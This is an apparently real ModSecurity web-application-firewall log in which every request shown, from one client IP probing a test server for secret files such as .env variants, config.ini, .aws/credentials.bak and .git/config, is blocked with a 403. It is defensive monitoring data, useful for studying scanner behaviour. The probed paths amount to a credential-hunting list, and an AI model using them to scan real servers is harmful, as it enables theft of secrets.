[Thu Feb 26 01:02:49.527819 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFAAAAAI&quot;]
[Thu Feb 26 01:02:49.528017 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFAAAAAI&quot;]
[Thu Feb 26 01:02:49.565671 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFQAAAAI&quot;]
[Thu Feb 26 01:02:49.565881 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFQAAAAI&quot;]
[Thu Feb 26 01:02:49.566027 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_backup&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFQAAAAI&quot;]
[Thu Feb 26 01:02:49.599786 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_copy&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFgAAAAI&quot;]
[Thu Feb 26 01:02:49.600026 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFgAAAAI&quot;]
[Thu Feb 26 01:02:49.600184 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_copy&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFgAAAAI&quot;]
[Thu Feb 26 01:02:49.642443 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_private&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFwAAAAI&quot;]
[Thu Feb 26 01:02:49.642712 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFwAAAAI&quot;]
[Thu Feb 26 01:02:49.642885 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_private&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlFwAAAAI&quot;]
[Thu Feb 26 01:02:49.653771 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4TgAAAAY&quot;]
[Thu Feb 26 01:02:49.654231 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4TgAAAAY&quot;]
[Thu Feb 26 01:02:49.654404 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4TgAAAAY&quot;]
[Thu Feb 26 01:02:49.673438 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGAAAAAI&quot;]
[Thu Feb 26 01:02:49.673667 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGAAAAAI&quot;]
[Thu Feb 26 01:02:49.673820 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_secret&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGAAAAAI&quot;]
[Thu Feb 26 01:02:49.700422 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGQAAAAI&quot;]
[Thu Feb 26 01:02:49.700646 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGQAAAAI&quot;]
[Thu Feb 26 01:02:49.700841 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGQAAAAI&quot;]
[Thu Feb 26 01:02:49.725198 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UAAAAAY&quot;]
[Thu Feb 26 01:02:49.725501 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UAAAAAY&quot;]
[Thu Feb 26 01:02:49.725753 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UAAAAAY&quot;]
[Thu Feb 26 01:02:49.725928 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UAAAAAY&quot;]
[Thu Feb 26 01:02:49.741541 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGgAAAAI&quot;]
[Thu Feb 26 01:02:49.741807 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGgAAAAI&quot;]
[Thu Feb 26 01:02:49.742015 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGgAAAAI&quot;]
[Thu Feb 26 01:02:49.752878 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials/admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UQAAAAY&quot;]
[Thu Feb 26 01:02:49.753134 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UQAAAAY&quot;]
[Thu Feb 26 01:02:49.753286 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials/admin/.env&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4UQAAAAY&quot;]
[Thu Feb 26 01:02:49.769546 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGwAAAAI&quot;]
[Thu Feb 26 01:02:49.769776 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlGwAAAAI&quot;]
